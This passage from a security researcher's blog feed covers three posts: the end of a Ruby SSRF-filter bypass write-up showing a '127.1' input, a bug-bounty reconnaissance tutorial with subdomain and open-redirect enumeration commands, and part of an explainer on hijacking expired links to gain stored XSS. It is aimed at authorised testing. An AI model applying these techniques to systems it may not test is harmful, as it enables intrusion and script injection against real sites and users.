&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# File lib/ssrf_filter/ssrf_filter.rb, line 116&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;raise&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;UnresolvedHostname&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Could not resolve hostname &amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;#{&lt;/span&gt;hostname&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#34;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ip_addresses&lt;span style="color:#f92672"&gt;.&lt;/span&gt;empty?
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;irb(main):001:0&amp;gt; require &amp;#39;ssrf_filter&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;=&amp;gt; true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;irb(main):002:0&amp;gt; SsrfFilter.get(&amp;#34;http://127.1/&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SsrfFilter::UnresolvedHostname: Could not resolve hostname &amp;#39;127.1&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; from /var/lib/gems/2.3.0/gems/ssrf_filter-1.0.2/lib/ssrf_filter/ssrf_filter.rb:116:in `block (3 levels) in &amp;lt;class:SsrfFilter&amp;gt;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; from /var/lib/gems/2.3.0/gems/ssrf_filter-1.0.2/lib/ssrf_filter/ssrf_filter.rb:107:in `times&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; from /var/lib/gems/2.3.0/gems/ssrf_filter-1.0.2/lib/ssrf_filter/ssrf_filter.rb:107:in `block (2 levels) in &amp;lt;class:SsrfFilter&amp;gt;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; from (irb):2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; from /usr/bin/irb:11:in `&amp;lt;main&amp;gt;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="faraday-restrict-ip-addresses-by-ben-lavender"&gt;&lt;a href="https://rubygems.org/gems/faraday-restrict-ip-addresses/versions/0.1.1"&gt;faraday-restrict-ip-addresses&lt;/a&gt; by &lt;a href="https://github.com/bhuga"&gt;Ben Lavender&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This gem uses &lt;code&gt;Addrinfo.getaddrinfo&lt;/code&gt; as recommended by the Ruby Code dev team.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# File lib/faraday/restrict_ip_addresses.rb, line 61&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;addresses&lt;/span&gt;(hostname)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;Addrinfo&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;getaddrinfo(hostname, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;:UNSPEC&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;:STREAM&lt;/span&gt;)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;map { &lt;span style="color:#f92672"&gt;|&lt;/span&gt;a&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IPAddr&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;new(a&lt;span style="color:#f92672"&gt;.&lt;/span&gt;ip_address) }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;rescue&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;SocketError&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; e
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# In case of invalid hostname, return an empty list of addresses&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;The author would like to acknowledge the help provided by &lt;a href="https://twitter.com/TomNomNom"&gt;Tom Hudson&lt;/a&gt; and &lt;a href="https://twitter.com/SecurityYasin"&gt;Yasin Soliman&lt;/a&gt; during the discovery of the bug.&lt;/p&gt;
&lt;p&gt;Both &lt;a href="https://twitter.com/jtdowney"&gt;John Downey&lt;/a&gt; and &lt;a href="https://twitter.com/arkadiyt"&gt;Arkadiy Tetelman&lt;/a&gt; were extremely responsive. John Downey was able to immediately provide a patch, and Arkadiy Tetelman helped me figure out why their gem was not affected by the issue.&lt;/p&gt;
&lt;p&gt;Finally, whatever you do, please do not view the source code of this write-up.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Update (Friday, 10 November 2017): I expanded the &amp;ldquo;Root cause&amp;rdquo; section in order to better explain the actual issue.&lt;/p&gt;</description></item><item><title>A lightweight reconnaissance setup for bug bounty hunters</title><link>https://edoverflow.com/2017/lightweight-reconnaissance-setup/</link><pubDate>Sun, 29 Oct 2017 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2017/lightweight-reconnaissance-setup/</guid><description>&lt;img src="https://user-images.githubusercontent.com/18099289/32144906-639add86-bcc0-11e7-9071-bdb1c125257a.png" alt="image" id="cover-image"&gt;
&lt;p&gt;The following is a lightweight reconnaissance setup that should help you quickly gather information on a given target. We will run through the basic installation steps and then take a look at how to use this setup while hunting.&lt;/p&gt;
&lt;p&gt;Please keep in mind that there are hundreds of tools out there and there is no way they could all be included in this write-up. This write-up is targeted towards people getting started or for those that want a simple setup. The author assumes that the reader already has a basic understanding of how to use a terminal. If not, the reader may want to start with &lt;a href="https://linuxjourney.com/"&gt;https://linuxjourney.com/&lt;/a&gt; before reading on.&lt;/p&gt;
&lt;h2 id="sublist3r"&gt;Sublist3r&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;📀 Installation&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ git clone https://github.com/aboul3la/Sublist3r.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cd Sublist3r
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ sudo pip install -r requirements.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;💬 Aliases&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alias sublist3r=&amp;#39;python /path/to/Sublist3r/sublist3r.py -d &amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alias sublist3r-one=&amp;#34;. &amp;lt;(cat domains | awk &amp;#39;{print \&amp;#34;sublist3r \&amp;#34;$1 \&amp;#34; -o \&amp;#34; $1 \&amp;#34;.txt\&amp;#34;}&amp;#39;)&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="dirsearch"&gt;dirsearch&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;📀 Installation&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ git clone https://github.com/maurosoria/dirsearch.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cd dirsearch/db
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ wget https://gist.githubusercontent.com/EdOverflow/c4d6d8c43b315546892aa5dab67fdd6c/raw/7dc210b17d7742b46de340b824a0caa0f25cf3cc/open_redirect_wordlist.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;💬 Aliases&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alias dirsearch=&amp;#39;python3 /path/to/dirsearch/dirsearch.py -u &amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alias dirsearch-one=&amp;#34;. &amp;lt;(cat domains | awk &amp;#39;{print \&amp;#34;dirsearch \&amp;#34;\$1 \&amp;#34; -e *\&amp;#34;}&amp;#39;)&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alias openredirect=&amp;#34;. &amp;lt;(cat domains | awk &amp;#39;{print \&amp;#34;dirsearch \&amp;#34;\$1 \&amp;#34; -w /path/to/dirsearch/db/open_redirect_wordlist.txt -e *\&amp;#34;}&amp;#39;)&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="webscreenshot"&gt;webscreenshot&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;📀 Installation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Make sure to install &lt;a href="https://github.com/maaaaz/webscreenshot/wiki/Phantomjs-installation"&gt;PhantomJS&lt;/a&gt; too.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ git clone https://github.com/maaaaz/webscreenshot.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="steps-to-take-when-approaching-a-target"&gt;Steps to take when approaching a target&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Verify target&amp;rsquo;s scope (&lt;code&gt;*.example.com&lt;/code&gt;);&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run Sublist3r on &lt;code&gt;example.com&lt;/code&gt; and output all findings to a file called &lt;code&gt;output&lt;/code&gt;:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ sublist3r example.com -o output
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cat output
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;foo.example.com
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bar.example.com
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;admin.example.com
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dev.example.com
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;www.example.com
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git.example.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;Check which domains resolve:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; read domain; &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; host &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$domain&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; &amp;gt; /dev/null; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt; echo $domain; &lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt;; &lt;span style="color:#66d9ef"&gt;done&lt;/span&gt; &amp;lt; output &amp;gt;&amp;gt; domains
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="4"&gt;
&lt;li&gt;Run webscreenshot on the &lt;code&gt;domains&lt;/code&gt; file:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ python webscreenshot.py -i domains output example
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ eog example
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;💡 Tip: Look for &lt;a href="https://hackerone.com/reports/263902"&gt;404 pages&lt;/a&gt;, login panels, directory listings and old-looking pages when reviewing the screenshots.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/32145630-3e1b6d6c-bccc-11e7-9ad3-ad4d4a6beb13.png" alt="image" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;ol start="5"&gt;
&lt;li&gt;Run dirsearch on the &lt;code&gt;domains&lt;/code&gt; file:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ dirsearch-one
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="6"&gt;
&lt;li&gt;Check for open redirects using dirsearch on the &lt;code&gt;domains&lt;/code&gt; file:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ openredirect
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="-exercises"&gt;📝 Exercises&lt;/h2&gt;
&lt;p&gt;The following tasks are left as exercises for the reader:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Write a shell script that performs the entire process when supplied with a single domain (&lt;code&gt;example.com&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Practice going through the process by picking a couple bug bounty programs on &lt;a href="https://hackerone.com/directory"&gt;HackerOne&lt;/a&gt; and &lt;a href="https://bugcrowd.com/programs"&gt;Bugcrowd&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;The author would like to acknowledge the help provided by &lt;a href="https://twitter.com/TomNomNom"&gt;@TomNomNom&lt;/a&gt;. The cover image is by &lt;a href="https://unsplash.com/@joaosilas"&gt;João Silas&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Broken Link Hijacking - How expired links can be exploited</title><link>https://edoverflow.com/2017/broken-link-hijacking/</link><pubDate>Sun, 03 Sep 2017 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2017/broken-link-hijacking/</guid><description>&lt;p&gt;Broken Link Hijacking (BLH) exists whenever a target links to an expired domain or page. Broken Link Hijacking comes in two forms, reflected and stored. This issue has been exploited in the wild numerous times, but surprisingly few researchers actively look for broken links in bug bounty programs.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/30001780-873a820e-9098-11e7-9c53-ab746d322fc7.png" alt="image" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;This post aims to give you a basic overview of the different issues that could possibly arise if a target links to an expired endpoint.&lt;/p&gt;
&lt;section class="notice"&gt;
&lt;strong&gt;Notice from author (Feb, 2022)&lt;/strong&gt;
&lt;p&gt;This is the original blog post which described Broken Link Hijacking for the first time. Since initial publication, many bug bounty hunters have referenced this blog post when reporting broken social media links to bug bounty programmes. The author of this blog post advises against this behaviour and would encourage readers to focus on the more impactful attack vectors described in this blog post.&lt;/p&gt;
&lt;/section&gt;
&lt;h2 id="stored-broken-link-hijacking"&gt;Stored Broken Link Hijacking&lt;/h2&gt;
&lt;!--
### Impersonation
~~When a company deletes their social media account they might forget to remove
the link from their website. An attacker can create an account on the social
media platform with that username and impersonate the company.~~
**Update (Jan, 2022): I advise against reporting broken links to social media accounts to bug
bounty programmes. Most vendors will not accept these kind of reports.** --&gt;
&lt;h3 id="external-js-file-hijacking"&gt;External JS File Hijacking&lt;/h3&gt;
&lt;p&gt;If a target has an external JS file and that domain/page is expired, you can claim it and then you essentially have stored XSS.&lt;/p&gt;
&lt;p&gt;Say for instance example.edu has an external JS file hosted on example.com and example.com has expired.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;charset&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;utf-8&amp;#34;&lt;/span&gt; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;width=device-width&amp;#34;&lt;/span&gt; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;Broken Link Hijacking&amp;lt;/&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;//example.com/script.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now you can takeover example.com and can control the JS file on example.edu.&lt;/p&gt;
&lt;h3 id="information-leakage"&gt;Information Leakage&lt;/h3&gt;
&lt;p&gt;Hijacking broken links which are missing the &lt;code&gt;rel=&amp;quot;noopener noreferrer&amp;quot;&lt;/code&gt; attribute could leak information to the attacker-controlled page. &lt;a href="https://github.com/cure53/HTTPLeaks"&gt;[1]&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Also sometimes companies still link to expired analytics pages. If the attacker can hijack that expired page, they can monitor traffic and possibly gather valuable information about the target&amp;rsquo;s users. Someone actually once found one of these on Gratipay&amp;rsquo;s program: &lt;a href="https://hackerone.com/reports/111078"&gt;https://hackerone.com/reports/111078&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="content-hijacking"&gt;Content Hijacking&lt;/h3&gt;
&lt;p&gt;An attacker can hijack the content of a page by taking over the expired domain/page. A good example of this can be seen in &lt;a href="https://twitter.com/MisterCh0c"&gt;@MisterCh0c&lt;/a&gt;&amp;rsquo;s blog post &lt;a href="https://hackernoon.com/how-i-hijacked-top-celebrities-tweets-including-katy-perry-shakira-fca3a0e751c6"&gt;&amp;ldquo;How I hijacked top celebrities tweets including Katy Perry, Shakira…&amp;rdquo;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/30002343-55a8dfc4-90a7-11e7-95b2-052bb5a1a5a3.png" alt="image" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;h2 id="reflected-broken-link-hijacking"&gt;Reflected Broken Link Hijacking&lt;/h2&gt;
&lt;p&gt;You know that feeling when you think you have reflected XSS, but cannot break out of the &lt;code&gt;href&lt;/code&gt; or &lt;code&gt;src&lt;/code&gt; attributes?&lt;/p&gt;
&lt;p&gt;If the link is a CDN or a file hosting service, you can construct a malicious link and host that file on the service. Admittedly, these are very rare, but definitely something to keep in mind in case you come across this issue in the future.&lt;/p&gt;
&lt;h3 id="example-scenario"&gt;Example Scenario&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://example.edu/?version=1.0.0"&gt;http://example.edu/?version=1.0.0&lt;/a&gt; returns a specific version of the JS file being hosted on cdn.example.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- http://example.edu/?version=1.0.0 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;charset&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;utf-8&amp;#34;&lt;/span&gt; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;width=device-width&amp;#34;&lt;/span&gt; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;Broken Link Hijacking&amp;lt;/&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;
